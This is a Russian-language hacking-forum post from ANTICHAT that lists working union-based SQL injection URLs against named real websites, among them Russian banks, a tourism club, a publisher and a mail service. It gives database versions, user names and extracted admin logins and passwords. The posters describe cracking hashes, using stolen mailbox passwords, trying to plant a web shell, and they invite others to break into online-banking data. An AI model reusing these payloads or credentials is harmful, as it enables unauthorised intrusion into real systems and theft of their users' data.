ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ovidiuc@localhost::turistor::5.0.32-Debian_7etch1-log
Нашёл таблицу membri, дальше не раскручивал.

http://www.citroen-club.kiev.ua/news.php?id=-1+union+select+1,2,concat_ws(0x2F,version(),databa se(),user())/*

4.1.22/cit

-----------------------------------------------------------------------------

http://ngo.pskov.ru/tur_club/index.php?action=show_topic&catid=8&id=-1+union+select+1,concat_ws(0x2F,version(),database (),user()),3,4,5,6,7,8,9/*

5.0.44-log/news/infonet@localhost



http://ngo.pskov.ru/tur_club/index.php?action=show_topic&catid=8&id=-1+union+select+1,concat_ws(0x2F,uname,passwd),3,4, 5,6,7,8,9+from+admin+limit+0,1/*

логин/пароль
master/newsbase + еще 6 юзеров

Сайт о кино... http://ww.rmdb.ru/?movie&id=-1+union+select+version(),user()/*
БД 4 =\

Румыния

semneparticulare.ro4.1.22-standard-log:semnepar_ziar:semnepar_semnepa@localhost

linkmagazine.ro4.1.22-standard-log:linkmag_linkmag:linkmag_linkmag@localhost

garsonieraluimaruta.ro4.1.22-standard:garson_main:garson_main@localhost

saloane.ro5.0.24a-standard-log:saloane:saloane@goober.dreamhost.com

24 открытых таблицы:... и ни одной интересной

сайт админят скорее всего по фтп: ftp.saloane.ro

http://maxitour.ru/hotels?id=-311%20union%20select%201,2,3,4,5,6,7,8,9,10,11,pas sw,13,14,15,16,17,18,19,20,21,22%20from%20users%20/*

все понятно без слов.. пароль расшифруется в три минуты.. а равен он логину..а логин макситурс вроде

http://www.newkenigsberg.ru/index.php?change=-21%20union%20select%201,2,3,concat(login,char(47), password,char(47),admin,char(47),Admtm,char(47),ph oto,char(47),Email,char(47),info,char(47),phone,ch ar(47),address,char(47),anons),5,6,7,8,9,10,11,12, 13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 ,30,31,33,32,34,35,36,37,38,39,40,41,42,43,44,45,4 6,47,48%20from%20auth_user/*

мускул пятый..все на экране...сайт издательского дома еврорубль..в калининграде

газэнергопромбанк..
не знаю кто как..
http://www.geprobank.ru/press/banknews/?article=-1959%20union%20select%201,2,3,4,5,6,table_name,8,t able_schema,10,11,12%20from%20information_schema.t ables%20limit%2015,1/*

пятый мускул..таблицы наружу..чет смыкал смыкмал..ничего интересного ен насмыкал..пишите.


http://mkb.ru/about_bank/work/vacancy.php?id=31%20AND%201=3%20union%20select%201 ,2,AES_DECRYPT(AES_ENCRYPT(column_name,0x71),0x71) ,4,5,6,7,8,9,10,11,12%20from%20information_schema. columns%20where%20table_name='users'%20AND%20table _schema='struct'%20limit%201,1/*

московский кредитный банк.. да защита у банков нынче никакая..еще с менатепа все начинал.. есть две или три таблицы юзерз ..правда инфа в них разнаю.. бд с инфой о юзерах онлайн банкинга находится на другом серваке..пролезть не удалось, если кто откроет новые просторы для боевых действий, просьба отписаться..

вот тут прикольно ..уралвеб..почта!
http://www.uralweb.ru/tourism/index.php?region_sel=all&tour_sel=-4%20UNION%20select%201,2,table_name,4,5,6,7,8,9%20 from%20information_schema.tables%20/*&place=47

есть бд mail..там чет типа аккаунтс или мемберс..ну найти легко, опять же пятый мускул ..смотрим имена таблиц и полей.. находим почтовик с открытыми паролями..юзаем кто кому как надо.. залить шел так и не получилось..

http://www.shsb.ru/seminar.php?id=-1+union+select+1,concat_ws(0x2F,version(),database (),user()),3,4,5,6,7,8,9,10/*

4.1.20/nshp/nshp@localhost

-----------------------------------------------------------------
rus.srbc.ru

http://rus.srbc.ru/home.asp?artId=-1+or+1=@@version--
Microsoft SQL Server 2005 - 9.00.1406.00 (Intel X86) Mar 3 2007 18:40:02 Copyright (c) 1988-2005 Microsoft Corporation Developer Edition on Windows NT 5.2 (Build 3790: Service Pack 2)

http://rus.srbc.ru/home.asp?artId=-1+or+1=(select+user)--
all_from_web

http://rus.srbc.ru/home.asp?artId=-1+or+1=(select+db_name())--
BusinessClub

http://rus.srbc.ru/home.asp?artId=-1+or+1=(select+top+1+table_name+from+information_s chema.tables)--

В таблицах не копался

http://www.pollit.ru/?post=-1'

www.theblocparty.org
www.onlyfabrics.com
ЗЫ подробно о скуле в AlstraSoft E-Friends читаем тут: https://forum.antichat.ru/thread54157.html